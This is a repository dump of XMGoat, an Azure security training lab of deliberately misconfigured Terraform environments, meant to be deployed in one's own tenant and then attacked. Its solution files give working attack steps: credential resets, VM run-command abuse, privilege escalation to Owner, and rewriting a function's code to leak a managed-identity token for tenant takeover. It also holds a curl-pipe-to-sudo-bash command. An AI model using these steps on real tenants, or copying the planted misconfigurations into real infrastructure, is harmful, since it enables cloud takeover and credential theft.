├── README.md
├── scenarios
├── scenario_1
│ ├── README.md
│ ├── main.tf
│ ├── scenario1_flow.png
│ ├── secret.txt
│ └── solution.md
├── scenario_2
│ ├── README.md
│ ├── main.tf
│ ├── scenario2_flow.png
│ └── solution.md
├── scenario_3
│ ├── README.md
│ ├── main.tf
│ ├── scenario3_flow.png
│ ├── solution.md
│ └── xmgoat3-function-project
│ │ ├── host.json
│ │ ├── profile.ps1
│ │ ├── requirements.psd1
│ │ └── xmgoat3-function
│ │ ├── function.json
│ │ └── run.ps1
├── scenario_4
│ ├── README.md
│ ├── main.tf
│ ├── scenario4_flow.png
│ └── solution.md
└── scenario_5
│ ├── README.md
│ ├── SensitiveData.zip
│ ├── main.tf
│ ├── scenario5_flow.png
│ └── solution.md
└── xmgoat_new.png
/README.md:
--------------------------------------------------------------------------------
1 | # XMGoat
2 |
3 |
4 | ## Overview
5 | XM Goat is composed of XM Cyber terraform templates that help you learn about common Azure security issues. Each template is a vulnerable environment, with some significant misconfigurations. Your job is to attack and compromise the environments.
6 |
7 | Here’s what to do for each environment:
8 |
9 | 1. Run installation and then get started.
10 |
11 | 2. With the initial user and service principal credentials, attack the environment based on the scenario flow (for example, XMGoat/scenarios/scenario_1/scenario1_flow.png).
12 |
13 | 3. If you need help with your attack, refer to the solution (for example, XMGoat/scenarios/scenario_1/solution.md).
14 |
15 | 4. When you’re done learning the attack, clean up.
16 |
17 | ## Requirements
18 | * Azure tenant
19 | * Terafform version 1.0.9 or above
20 | * Azure CLI
21 | * Azure User with Owner permissions on Subscription and Global Admin privileges in AAD
22 |
23 | ## Installation
24 | Run these commands:
25 | ```
26 | $ az login
27 | $ git clone https://github.com/XMCyber/XMGoat.git
28 | $ cd XMGoat
29 | $ cd scenarios
30 | $ cd scenario_<\SCENARIO>
31 | ```
32 | Where <\SCENARIO> is the scenario number you want to complete
33 | ```
34 | $ terraform init
35 | $ terraform plan -out <\FILENAME>
36 | $ terraform apply <\FILENAME>
37 | ```
38 | Where <\FILENAME> is the name of the output file
39 |
40 | ## Get started
41 | To get the initial user and service principal credentials, run the following query:
42 | ```
43 | $ terraform output --json
44 | ```
45 | For Service Principals, use application_id.value and application_secret.value.
46 |
47 | For Users, use username.value and password.value.
48 |
49 | ## Cleaning up
50 | After completing the scenario, run the following command in order to clean all the resources created in your tenant
51 | ```
52 | $ az login
53 | $ cd XMGoat
54 | $ cd scenarios
55 | $ cd scenario_<\SCENARIO>
56 | ```
57 | Where <\SCENARIO> is the scenario number you want to complete
58 | ```
59 | $ terraform destroy
60 | ```
61 |
--------------------------------------------------------------------------------
/scenarios/scenario_1/README.md:
--------------------------------------------------------------------------------
1 | # Compromise Sensitive Storage Account Container
2 | Attack flow:
3 |
4 | 
5 |
6 | The solution can be found [here](./solution.md).
7 |
--------------------------------------------------------------------------------
/scenarios/scenario_1/main.tf:
--------------------------------------------------------------------------------
1 | #############################################################################
2 | # VARIABLES
3 | #############################################################################
4 | variable "container_name" {
5 | type = string
6 | }
7 |
8 | variable "storage_account_name" {
9 | type = string
10 | }
11 |
12 | variable "linux_virtual_machine_name" {
13 | type = string
14 | }
15 |
16 | variable "virtual_network_name" {
17 | type = string
18 | }
19 |
20 | variable "user_name" {
21 | type = string
22 | }
23 |
24 | variable "user_assigned_identity_name" {
25 | type = string
26 | }
27 |
28 | variable "resource_group" {
29 | type = string
30 | description = "Existing resource group to deploy resources"
31 | }
32 |
33 | variable "domain" {
34 | type = string
35 | description = "Domain name (for example: contoso.onmicrosoft.com)"
36 | }
37 |
38 | variable "user_password" {
39 | type = string
40 | }
41 |
42 | variable "vm_password" {
43 | type = string
44 | }
45 |
46 | variable "vm_user" {
47 | type = string
48 | }
49 |
50 | #############################################################################
51 | # DATA
52 | #############################################################################
53 |
54 | data "azurerm_subscription" "current" {}
55 |
56 | data "azurerm_resource_group" "current" {
57 | name = var.resource_group
58 | }
59 |
60 |
61 | #############################################################################
62 | # PROVIDERS
63 | #############################################################################
64 |
65 | provider "azurerm" {
66 | features {}
67 | }
68 |
69 | provider "azuread" {
70 | }
71 |
72 |
73 | #############################################################################
74 | # RESOURCES
75 | #############################################################################
76 |
77 | ## AZURE AD USER ##
78 |
79 | resource "azuread_user" "user" {
80 | user_principal_name = "${var.user_name}@${var.domain}"
81 | display_name = var.user_name
82 | password = var.user_password
83 | }
84 |
85 | resource "azuread_application" "scenario1App" {
86 | display_name = "scenario1App"
87 | owners = [azuread_user.user.object_id]
88 | }
89 |
90 | resource "azuread_service_principal" "scenario1SPN" {
91 | application_id = azuread_application.scenario1App.application_id
92 | owners = [azuread_user.user.id]
93 | }
94 |
95 |
96 | ## AZURE LINUX VIRTUAL MACHINE ##
97 |
98 | resource "azurerm_virtual_network" "main" {
99 | name = var.virtual_network_name
100 | address_space = ["10.0.0.0/16"]
101 | location = data.azurerm_resource_group.current.location
102 | resource_group_name = data.azurerm_resource_group.current.name
103 | }
104 |
105 | resource "azurerm_subnet" "internal" {
106 | name = "internal"
107 | resource_group_name = data.azurerm_resource_group.current.name
108 | virtual_network_name = azurerm_virtual_network.main.name
109 | address_prefixes = ["10.0.2.0/24"]
110 | }
111 |
112 |
113 | resource "azurerm_user_assigned_identity" "uai" {
114 | name = var.user_assigned_identity_name
115 | resource_group_name = data.azurerm_resource_group.current.name
116 | location = data.azurerm_resource_group.current.location
117 | }
118 |
119 | resource "azurerm_network_interface" "linux" {
120 | name = var.linux_virtual_machine_name
121 | resource_group_name = data.azurerm_resource_group.current.name
122 | location = data.azurerm_resource_group.current.location
123 |
124 | ip_configuration {
125 | name = "internal"
126 | subnet_id = azurerm_subnet.internal.id
127 | private_ip_address_allocation = "Dynamic"
128 | }
129 | }
130 |
131 | resource "azurerm_linux_virtual_machine" "main" {
132 | name = var.linux_virtual_machine_name
133 | resource_group_name = data.azurerm_resource_group.current.name
134 | location = data.azurerm_resource_group.current.location
135 | size = "Standard_B2s"
136 | admin_username = var.vm_user
137 | admin_password = var.vm_password
138 | disable_password_authentication = false
139 | network_interface_ids = [
140 | azurerm_network_interface.linux.id,
141 | ]
142 |
143 | os_disk {
144 | caching = "ReadWrite"
145 | storage_account_type = "Standard_LRS"
146 | }
147 |
148 | source_image_reference {
149 | publisher = "Canonical"
150 | offer = "UbuntuServer"
151 | sku = "16.04-LTS"
152 | version = "latest"
153 | }
154 |
155 | identity {
156 | type = "SystemAssigned, UserAssigned"
157 | identity_ids = [azurerm_user_assigned_identity.uai.id]
158 | }
159 | }
160 |
161 | ## AZURE STORAGE ACCOUNT ##
162 | resource "azurerm_storage_account" "main" {
163 | name = var.storage_account_name
164 | resource_group_name = data.azurerm_resource_group.current.name
165 | location = data.azurerm_resource_group.current.location
166 | account_tier = "Standard"
167 | account_replication_type = "LRS"
168 | }
169 |
170 | resource "azurerm_storage_container" "main" {
171 | name = var.container_name
172 | storage_account_name = azurerm_storage_account.main.name
173 | container_access_type = "private"
174 | }
175 |
176 | resource "azurerm_storage_blob" "file" {
177 | name = "secret.txt"
178 | storage_account_name = azurerm_storage_account.main.name
179 | storage_container_name = azurerm_storage_container.main.name
180 | type = "Block"
181 | source = "secret.txt"
182 | }
183 |
184 |
185 | ## AZURE ROLE AND ROLE ASSIGNMENT ##
186 |
187 | resource "azurerm_role_definition" "run-command-on-vm" {
188 | name = "Run Command Role Scenario 1"
189 | scope = data.azurerm_subscription.current.id
190 | description = "This role allow to run command on vm"
191 |
192 | permissions {
193 | actions = ["Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/virtualMachines/runCommand/action"]
194 | not_actions = []
195 | }
196 |
197 | assignable_scopes = [
198 | data.azurerm_subscription.current.id,
199 | ]
200 | }
201 |
202 | resource "azurerm_role_assignment" "run-command-on-linux-vm" {
203 | scope = azurerm_linux_virtual_machine.main.id
204 | role_definition_id = split("|", azurerm_role_definition.run-command-on-vm.id)[0]
205 | principal_id = azuread_service_principal.scenario1SPN.id
206 | }
207 |
208 | resource "azurerm_role_definition" "read-blobs" {
209 | name = "Read Blobs Role Scenario 1"
210 | scope = data.azurerm_subscription.current.id
211 | description = "This role allow to download blobs from storage account"
212 |
213 | permissions {
214 | actions = ["Microsoft.Storage/storageAccounts/read", "Microsoft.Storage/storageAccounts/blobServices/containers/read"]
215 | data_actions = ["Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read"]
216 | not_actions = []
217 | }
218 |
219 | assignable_scopes = [
220 | data.azurerm_subscription.current.id,
221 | ]
222 | }
223 |
224 | resource "azurerm_role_assignment" "read-blobs" {
225 | scope = azurerm_storage_account.main.id
226 | role_definition_id = split("|", azurerm_role_definition.read-blobs.id)[0]
227 | principal_id = azurerm_user_assigned_identity.uai.principal_id
228 | }
229 |
230 | ## Output
231 | output "username"{
232 | value = azuread_user.user.user_principal_name
233 | }
234 | output "password" {
235 | value = azuread_user.user.password
236 | sensitive = true
237 | }
238 |
--------------------------------------------------------------------------------
/scenarios/scenario_1/scenario1_flow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XMCyber/XMGoat/958218b53527fcdd4eb19b4518bac7387b97b104/scenarios/scenario_1/scenario1_flow.png
--------------------------------------------------------------------------------
/scenarios/scenario_1/secret.txt:
--------------------------------------------------------------------------------
1 | Good Job!
--------------------------------------------------------------------------------
/scenarios/scenario_1/solution.md:
--------------------------------------------------------------------------------
1 | 1. az login -u <\Username> -p <\Password> --allow-no-subscriptions
2 | 2. az ad app list --show-mine
3 | 3. az ad app list --display-name <\AppName>
4 | 4. az ad app credential reset --id <\AppObejctID>
5 | 5. az login --service-principal -u <\AppID> -p <\Secret> -t <\TenantID> --allow-no-subscriptions
6 | 6. az vm list
7 | 7. az vm run-command invoke --command-id RunShellScript --name <\VMName> --resource-group <\RGName> --scripts "curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash"
8 | 8. az vm run-command invoke --command-id RunShellScript --name <\VMName> --resource-group <\RGName> --scripts "az login --identity --username <\UserAssignedIdentityClientID>"
9 | 9. az vm run-command invoke --command-id RunShellScript --name <\VMName> --resource-group <\RGName> --scripts "az storage account list"
10 | 10. az vm run-command invoke --command-id RunShellScript --name <\VMName> --resource-group <\RGName> --scripts "az storage container list --account-name <\StorageAccountName> --auth-mode login"
11 | 11. az vm run-command invoke --command-id RunShellScript --name <\VMName> --resource-group <\RGName> --scripts "az storage blob list -c <\ContainerName> --account-name --auth-mode login"
12 | 12. az vm run-command invoke --command-id RunShellScript --name <\VMName> --resource-group <\RGName> --scripts "az storage blob download -n secret.txt -c <\ContainerName> --account-name --auth-mode login -f /secret.txt"
13 | 13. az vm run-command invoke --command-id RunShellScript --name <\VMName> --resource-group <\RGName> --scripts "cat /secret.txt"
14 |
--------------------------------------------------------------------------------
/scenarios/scenario_2/README.md:
--------------------------------------------------------------------------------
1 | # Subscription take-over
2 | Attack flow:
3 |
4 | 
5 |
6 | The solution can be found [here](./solution.md).
7 |
--------------------------------------------------------------------------------
/scenarios/scenario_2/main.tf:
--------------------------------------------------------------------------------
1 | #############################################################################
2 | # VARIABLES
3 | #############################################################################
4 | variable "user_name" {
5 | type = string
6 | }
7 |
8 | variable "key_vault_name" {
9 | type = string
10 | }
11 |
12 | variable "resource_group" {
13 | type = string
14 | description = "Existing resource group to deploy resources"
15 | }
16 |
17 | variable "domain" {
18 | type = string
19 | description = "Domain name (for example: contoso.onmicrosoft.com)"
20 | }
21 |
22 | variable "user_password" {
23 | type = string
24 | }
25 |
26 | #############################################################################
27 | # DATA
28 | #############################################################################
29 | data "azurerm_client_config" "current" {}
30 |
31 | data "azurerm_subscription" "current" {}
32 |
33 | data "azurerm_resource_group" "current" {
34 | name = var.resource_group
35 | }
36 |
37 |
38 | #############################################################################
39 | # PROVIDERS
40 | #############################################################################
41 |
42 | provider "azurerm" {
43 | features {}
44 | }
45 |
46 | provider "azuread" {
47 | }
48 |
49 |
50 | #############################################################################
51 | # RESOURCES
52 | #############################################################################
53 |
54 | ## AZURE AD USER ##
55 |
56 | resource "azuread_user" "user" {
57 | user_principal_name = "${var.user_name}@${var.domain}"
58 | display_name = var.user_name
59 | password = var.user_password
60 | }
61 |
62 | resource "azuread_application" "scenario2App" {
63 | display_name = "scenario2App"
64 | }
65 |
66 | resource "azuread_service_principal" "scenario2SPN" {
67 | application_id = azuread_application.scenario2App.application_id
68 | }
69 |
70 | resource "azuread_application_password" "secret" {
71 | application_object_id = azuread_application.scenario2App.object_id
72 | }
73 |
74 | ## AZURE KEY VAULT Secret ##
75 |
76 | resource "azurerm_key_vault" "main" {
77 | name = var.key_vault_name
78 | location = data.azurerm_resource_group.current.location
79 | resource_group_name = data.azurerm_resource_group.current.name
80 | enabled_for_disk_encryption = true
81 | tenant_id = data.azurerm_client_config.current.tenant_id
82 | purge_protection_enabled = false
83 | sku_name = "standard"
84 |
85 | access_policy {
86 | tenant_id = data.azurerm_client_config.current.tenant_id
87 | object_id = data.azurerm_client_config.current.object_id
88 | key_permissions = [
89 | "Get",
90 | ]
91 | secret_permissions = [
92 | "Get", "Backup", "Delete", "List", "Purge", "Recover", "Restore", "Set",
93 | ]
94 | storage_permissions = [
95 | "Get",
96 | ]
97 | }
98 |
99 | access_policy {
100 | tenant_id = data.azurerm_client_config.current.tenant_id
101 | object_id = azuread_service_principal.scenario2SPN.object_id
102 | key_permissions = [
103 | "Get",
104 | ]
105 | secret_permissions = [
106 | "Get", "Backup", "Delete", "List", "Purge", "Recover", "Restore", "Set",
107 | ]
108 | storage_permissions = [
109 | "Get",
110 | ]
111 | }
112 | }
113 |
114 | resource "azurerm_key_vault_secret" "secret" {
115 | name = azuread_user.user.display_name
116 | value = azuread_user.user.password
117 | key_vault_id = azurerm_key_vault.main.id
118 | depends_on = [azurerm_key_vault.main]
119 | }
120 |
121 | ## AZURE ROLES AND ROLE ASSIGNMENT ##
122 |
123 | resource "azurerm_role_definition" "list-key-vaults" {
124 | name = "Key-Vault Read Scenario 2"
125 | scope = data.azurerm_subscription.current.id
126 | description = "This role allow to list key vaults"
127 |
128 | permissions {
129 | actions = ["Microsoft.KeyVault/vaults/read"]
130 | }
131 |
132 | assignable_scopes = [
133 | data.azurerm_subscription.current.id,
134 | ]
135 | }
136 |
137 | resource "azurerm_role_definition" "assign_privileges" {
138 | name = "Add Myself Privileges Scenario 2"
139 | scope = data.azurerm_subscription.current.id
140 | description = "This role allow escalate our privileges"
141 |
142 | permissions {
143 | actions = ["Microsoft.Authorization/roleAssignments/write"]
144 | }
145 |
146 | assignable_scopes = [
147 | data.azurerm_subscription.current.id,
148 | ]
149 | }
150 |
151 | resource "azurerm_role_assignment" "key-vault-assignment-for-spn" {
152 | scope = azurerm_key_vault.main.id
153 | role_definition_id = split("|", azurerm_role_definition.list-key-vaults.id)[0]
154 | principal_id = azuread_service_principal.scenario2SPN.object_id
155 | }
156 |
157 | resource "azurerm_role_assignment" "escalate-privileges" {
158 | scope = data.azurerm_subscription.current.id
159 | role_definition_id = split("|", azurerm_role_definition.assign_privileges.id)[0]
160 | principal_id = azuread_user.user.id
161 | }
162 |
163 | ## Output
164 | output "application_id"{
165 | value = azuread_application.scenario2App.application_id
166 | }
167 | output "application_secret" {
168 | value = azuread_application_password.secret
169 | }
170 |
--------------------------------------------------------------------------------
/scenarios/scenario_2/scenario2_flow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XMCyber/XMGoat/958218b53527fcdd4eb19b4518bac7387b97b104/scenarios/scenario_2/scenario2_flow.png
--------------------------------------------------------------------------------
/scenarios/scenario_2/solution.md:
--------------------------------------------------------------------------------
1 | 1. az login --service-principal -u <\ID> -p <\Secret> -t <\TenantID> --allow-no-subscriptions
2 | 2. az keyvault list
3 | 3. az keyvault secret list --vault-name <\KeyVaultName>
4 | 4. az keyvault secret show --vault-name <\KeyVaultName> --name <\SecretName>
5 | 5. az login -u <\UserName> -p <\Password>>
6 | 6. az role assignment create --role "Owner" --assignee "<\UserName>"
7 | 7. az role assignment list --all --assignee <\UserName>
--------------------------------------------------------------------------------
/scenarios/scenario_3/README.md:
--------------------------------------------------------------------------------
1 | # Tenant Take-Over
2 | Attack flow:
3 |
4 | 
5 |
6 | The solution can be found [here](./solution.md).
7 |
--------------------------------------------------------------------------------
/scenarios/scenario_3/main.tf:
--------------------------------------------------------------------------------
1 | #############################################################################
2 | # VARIABLES
3 | #############################################################################
4 | variable "user_name" {
5 | type = string
6 | }
7 |
8 | variable "resource_group" {
9 | type = string
10 | description = "Existing resource group to deploy resources"
11 | }
12 |
13 | variable "domain" {
14 | type = string
15 | description = "Domain name (for example: contoso.onmicrosoft.com)"
16 | }
17 |
18 | variable "user_password" {
19 | type = string
20 | }
21 |
22 | variable "user_assigned_identity_name" {
23 | type = string
24 | }
25 |
26 | #############################################################################
27 | # DATA
28 | #############################################################################
29 | data "azurerm_client_config" "current" {}
30 |
31 | data "azurerm_subscription" "current" {}
32 |
33 | data "azurerm_resource_group" "current" {
34 | name = var.resource_group
35 | }
36 |
37 | data "archive_file" "file_function_app" {
38 | type = "zip"
39 | source_dir = "xmgoat3-function-project"
40 | output_path = "function-app.zip"
41 | }
42 |
43 |
44 | #############################################################################
45 | # PROVIDERS
46 | #############################################################################
47 |
48 | provider "azurerm" {
49 | features {}
50 | }
51 |
52 | provider "azuread" {
53 | }
54 |
55 |
56 | #############################################################################
57 | # RESOURCES
58 | #############################################################################
59 |
60 | ## AZURE AD USER ##
61 |
62 | resource "azuread_user" "user" {
63 | user_principal_name = "${var.user_name}@${var.domain}"
64 | display_name = var.user_name
65 | password = var.user_password
66 | }
67 |
68 | resource "azuread_application" "scenario3App" {
69 | display_name = "scenario3App"
70 | }
71 |
72 | resource "azuread_service_principal" "scenario3SPN" {
73 | application_id = azuread_application.scenario3App.application_id
74 | }
75 |
76 | ## AZURE APP FUNCTION ##
77 |
78 | resource "azurerm_storage_account" "main" {
79 | name = "xmgoat3"
80 | resource_group_name = data.azurerm_resource_group.current.name
81 | location = data.azurerm_resource_group.current.location
82 | account_tier = "Standard"
83 | account_replication_type = "LRS"
84 | }
85 |
86 | resource "azurerm_storage_container" "main" {
87 | name = "function-releases"
88 | storage_account_name = azurerm_storage_account.main.name
89 | container_access_type = "private"
90 | }
91 |
92 | resource "azurerm_application_insights" "main" {
93 | name = "xmgoat3"
94 | location = data.azurerm_resource_group.current.location
95 | resource_group_name = data.azurerm_resource_group.current.name
96 | application_type = "Node.JS"
97 | }
98 |
99 | resource "azurerm_app_service_plan" "main" {
100 | name = "xmgoat3"
101 | location = data.azurerm_resource_group.current.location
102 | resource_group_name = data.azurerm_resource_group.current.name
103 | kind = "FunctionApp"
104 | reserved = false
105 |
106 | sku {
107 | tier = "Dynamic"
108 | size = "Y1"
109 | }
110 | }
111 |
112 | resource "azurerm_user_assigned_identity" "main" {
113 | name = var.user_assigned_identity_name
114 | resource_group_name = data.azurerm_resource_group.current.name
115 | location = data.azurerm_resource_group.current.location
116 | }
117 |
118 | resource "azurerm_function_app" "main" {
119 | name = "xmgoat3"
120 | location = data.azurerm_resource_group.current.location
121 | resource_group_name = data.azurerm_resource_group.current.name
122 | app_service_plan_id = azurerm_app_service_plan.main.id
123 | storage_account_name = azurerm_storage_account.main.name
124 | storage_account_access_key = azurerm_storage_account.main.primary_access_key
125 |
126 | app_settings = {
127 | "FUNCTIONS_WORKER_RUNTIME" = "powershell",
128 | AzureWebJobsStorage = azurerm_storage_account.main.primary_blob_connection_string,
129 | APPINSIGHTS_INSTRUMENTATIONKEY = azurerm_application_insights.main.instrumentation_key,
130 | "WEBSITE_NODE_DEFAULT_VERSION" = "~14"
131 | }
132 |
133 | version = "~3"
134 |
135 | identity {
136 | type = "SystemAssigned, UserAssigned"
137 | identity_ids = [azurerm_user_assigned_identity.main.id]
138 | }
139 |
140 | lifecycle {
141 | ignore_changes = [
142 | app_settings["WEBSITE_RUN_FROM_PACKAGE"]
143 | ]
144 | }
145 |
146 | site_config {
147 | cors {
148 | allowed_origins = ["*"]
149 | }
150 | use_32_bit_worker_process = false
151 | }
152 | }
153 |
154 | ## AZURE ROLE AND ROLE ASSIGNMENT ##
155 |
156 | resource "azurerm_role_definition" "update-function-code" {
157 | name = "Update Function Code Scenario 3"
158 | scope = data.azurerm_subscription.current.id
159 | description = "This role allow to update function code"
160 |
161 | permissions {
162 | actions = ["Microsoft.web/sites/Read", "microsoft.web/sites/functions/read", "microsoft.web/sites/host/listkeys/action"]
163 | not_actions = []
164 | }
165 |
166 | assignable_scopes = [
167 | data.azurerm_subscription.current.id,
168 | ]
169 | }
170 |
171 | resource "azurerm_role_assignment" "update-function-code" {
172 | scope = azurerm_function_app.main.id
173 | role_definition_id = split("|", azurerm_role_definition.update-function-code.id)[0]
174 | principal_id = azuread_user.user.id
175 | }
176 |
177 | ## Directory Roles
178 | resource "azuread_directory_role" "appAdmin" {
179 | display_name = "Application administrator"
180 | }
181 |
182 | resource "azuread_directory_role" "globalAdmin" {
183 | display_name = "Global administrator"
184 | }
185 |
186 | resource "azuread_directory_role_member" "appAdminMembers" {
187 | role_object_id = azuread_directory_role.appAdmin.object_id
188 | member_object_id = azurerm_user_assigned_identity.main.principal_id
189 | }
190 |
191 | resource "azuread_directory_role_member" "globalAdminMembers" {
192 | role_object_id = azuread_directory_role.globalAdmin.object_id
193 | member_object_id = azuread_service_principal.scenario3SPN.object_id
194 | }
195 |
196 | locals {
197 | publish_code_command = "az webapp deploy --resource-group ${data.azurerm_resource_group.current.name} --name ${azurerm_function_app.main.name} --src-path ${data.archive_file.file_function_app.output_path}"
198 | }
199 |
200 | resource "null_resource" "function_app_publish" {
201 | provisioner "local-exec" {
202 | command = local.publish_code_command
203 | }
204 | depends_on = [local.publish_code_command]
205 | triggers = {
206 | input_json = filemd5(data.archive_file.file_function_app.output_path)
207 | publish_code_command = local.publish_code_command
208 | }
209 | }
210 |
211 |
212 | ## Output
213 | output "username"{
214 | value = azuread_user.user.user_principal_name
215 | }
216 | output "password" {
217 | value = azuread_user.user.password
218 | sensitive = true
219 | }
220 |
--------------------------------------------------------------------------------
/scenarios/scenario_3/scenario3_flow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/XMCyber/XMGoat/958218b53527fcdd4eb19b4518bac7387b97b104/scenarios/scenario_3/scenario3_flow.png
--------------------------------------------------------------------------------
/scenarios/scenario_3/solution.md:
--------------------------------------------------------------------------------
1 | 1. az login -u <\Username> -p <\Password>
2 | 2. az functionapp list --resource-group <\RGName>
3 | 3. az functionapp keys list --resource-group <\RGName> --name <\AppName>
4 | 4. az functionapp identity show --name <\AppName> --resource-group <\RGName>>
5 | 5. az rest --method GET -u "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{RGName}/providers/Microsoft.Web/sites/{FunctionAppName}/functions?api-version=2021-02-01"
6 |
7 | Now we intercept the request and go to burp
8 |
9 | 6.
10 | ```aidl
11 | GET /admin/vfs/site/wwwroot/{FunctionName}/run.ps1 HTTP/1.1
12 | Host: .azurewebsites.net
13 | x-functions-key:
14 | Upgrade-Insecure-Requests: 1
15 | User-Agent:
16 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
17 | Accept-Encoding: gzip, deflate
18 | Accept-Language: en-US,en;q=0.9
19 | Connection: close
20 | Content-Type: application/json
21 | ```
22 | 7. Make sure Etag and client_id matches!
23 | ```aidl
24 |
25 | PUT /admin/vfs/site/wwwroot/{FunctionName}/run.ps1 HTTP/1.1
26 | Host: .azurewebsites.net
27 | x-functions-key:
28 | Sec-Ch-Ua-Platform: "Windows"
29 | Upgrade-Insecure-Requests: 1
30 | User-Agent:
31 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
32 | Sec-Fetch-Site: none
33 | Sec-Fetch-Mode: navigate
34 | Sec-Fetch-User: ?1
35 | Sec-Fetch-Dest: document
36 | Accept-Encoding: gzip, deflate
37 | If-Match: <\Etag>
38 | Accept-Language: en-US,en;q=0.9
39 | Connection: close
40 | Content-Type: application/json
41 | Content-Length: 805
42 |
43 | using namespace System.Net
44 |
45 | # Input bindings are passed in via param block.
46 | param($Request, $TriggerMetadata)
47 |
48 | # Write to the Azure Functions log stream.
49 | Write-Host "PowerShell HTTP trigger function processed a request."
50 |
51 | #If parameter "Scope" has not been provided, we assume that graph.microsoft.com is the target resource
52 | $Scope = "https://graph.microsoft.com/"
53 |
54 | $tokenAuthUri = $env:IDENTITY_ENDPOINT + "?resource=$Scope&api-version=2019-08-01&client_id={ClientId}"
55 | $headers = @{
56 | "X-IDENTITY-HEADER"="$env:IDENTITY_HEADER"
57 | }
58 | $response = Invoke-RestMethod -Method Get -Headers $headers -Uri $tokenAuthUri -UseBasicParsing
59 | $tokenAuthUri
60 | $response
61 |
62 | $accessToken = $response.access_token
63 | $body = "Access Token: $accessToken"
64 |
65 | # Associate values to output bindings by calling 'Push-OutputBinding'.
66 | Push-OutputBinding -Name Response -Value ([HttpResponseContext]@{
67 | StatusCode = [HttpStatusCode]::OK
68 | Body = $body
69 | })
70 | ```
71 | 8.
72 | ```aidl
73 | GET /api/ HTTP/1.1
74 | Host: .azurewebsites.net
75 | User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:93.0) Gecko/20100101 Firefox/93.0
76 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
77 | x-functions-key:
78 | Accept-Language: en-US,en;q=0.5
79 | Accept-Encoding: gzip, deflate
80 | Upgrade-Insecure-Requests: 1
81 | Sec-Fetch-Dest: document
82 | Sec-Fetch-Mode: navigate
83 | Sec-Fetch-Site: none
84 | Sec-Fetch-User: ?1
85 | Te: trailers
86 | Connection: close
87 | ```
88 | 9.
89 | ```aidl
90 | GET /v1.0/applications HTTP/1.1
91 | Host: graph.microsoft.com
92 | User-Agent:
93 | Accept-Encoding: gzip, deflate
94 | Accept: */*
95 | Connection: close
96 | x-ms-client-request-id:
97 | CommandName: rest
98 | ParameterSetName: --method -u
99 | Authorization: Bearer
100 | ```
101 | 10.
102 | ```aidl
103 | GET /v1.0/applications/ HTTP/1.1
104 | Host: graph.microsoft.com
105 | User-Agent:
106 | Accept-Encoding: gzip, deflate
107 | Accept: */*
108 | Connection: close
109 | x-ms-client-request-id:
110 | CommandName: rest
111 | ParameterSetName: --method -u
112 | Authorization: Bearer
113 | ```
114 | 11.
115 | ```aidl
116 | POST /v1.0/applications//addPassword HTTP/1.1
117 | Host: graph.microsoft.com
118 | User-Agent:
119 | Accept-Encoding: gzip, deflate
120 | Accept: */*
121 | Connection: close
122 | x-ms-client-request-id:
127 | Content-Length: 81
128 |
129 | {
130 | "passwordCredential": {
131 | "displayName": "Password friendly name"
132 | }
133 | }
134 | ```
135 | 12. az login --service-principal -u <\spnID> -p <\SPNSecret> -t <\TenantID> --allow-no-subscriptions
136 |
--------------------------------------------------------------------------------
/scenarios/scenario_3/xmgoat3-function-project/host.json:
--------------------------------------------------------------------------------
1 | {
2 | "version": "2.0",
3 | "logging": {
4 | "applicationInsights": {
5 | "samplingSettings": {
6 | "isEnabled": true,
7 | "excludedTypes": "Request"
8 | }
9 | }
10 | },
11 | "managedDependency": {
12 | "enabled": true
13 | },
14 | "extensionBundle": {
15 | "id": "Microsoft.Azure.Functions.ExtensionBundle",
16 | "version": "[2.*, 3.0.0)"
17 | }
18 | }
--------------------------------------------------------------------------------
/scenarios/scenario_3/xmgoat3-function-project/profile.ps1:
--------------------------------------------------------------------------------
1 | # Azure Functions profile.ps1
2 | #
3 | # This profile.ps1 will get executed every "cold start" of your Function App.
4 | # "cold start" occurs when:
5 | #
6 | # * A Function App starts up for the very first time
7 | # * A Function App starts up after being de-allocated due to inactivity
8 | #
9 | # You can define helper functions, run commands, or specify environment variables
10 | # NOTE: any variables defined that are not environment variables will get reset after the first execution
11 |
12 | # Authenticate with Azure PowerShell using MSI.
13 | # Remove this if you are not planning on using MSI or Azure PowerShell.
14 | if ($env:MSI_SECRET) {
15 | Disable-AzContextAutosave -Scope Process | Out-Null
16 | Connect-AzAccount -Identity
17 | }
18 |
19 | # Uncomment the next line to enable legacy AzureRm alias in Azure PowerShell.
20 | # Enable-AzureRmAlias
21 |
22 | # You can also define functions or aliases that can be referenced in any of your PowerShell functions.
--------------------------------------------------------------------------------
/scenarios/scenario_3/xmgoat3-function-project/requirements.psd1:
--------------------------------------------------------------------------------
1 | # This file enables modules to be automatically managed by the Functions service.
2 | # See https://aka.ms/functionsmanageddependency for additional information.
3 | #
4 | @{
5 | # For latest supported version, go to 'https://www.powershellgallery.com/packages/Az'.
6 | # To use the Az module in your function app, please uncomment the line below.
7 | # 'Az' = '6.*'
8 | }
--------------------------------------------------------------------------------
/scenarios/scenario_3/xmgoat3-function-project/xmgoat3-function/function.json:
--------------------------------------------------------------------------------
1 | {
2 | "bindings": [
3 | {
4 | "authLevel": "Admin",
5 | "type": "httpTrigger",
6 | "direction": "in",
7 | "name": "Request",
8 | "methods": [
9 | "get",
10 | "post"
11 | ]
12 | },
13 | {
14 | "type": "http",
15 | "direction": "out",
16 | "name": "Response"
17 | }
18 | ]
19 | }
--------------------------------------------------------------------------------
/scenarios/scenario_3/xmgoat3-function-project/xmgoat3-function/run.ps1:
--------------------------------------------------------------------------------
1 | using namespace System.Net
2 |
3 | # Input bindings are passed in via param block.
4 | param($Request, $TriggerMetadata)
5 |
6 | # Write to the Azure Functions log stream.
7 | Write-Host "PowerShell HTTP trigger function processed a request."
8 |
9 | # Interact with query parameters or the body of the request.
10 | $name = $Request.Query.Name
11 | if (-not $name) {
12 | $name = $Request.Body.Name
13 | }
14 |
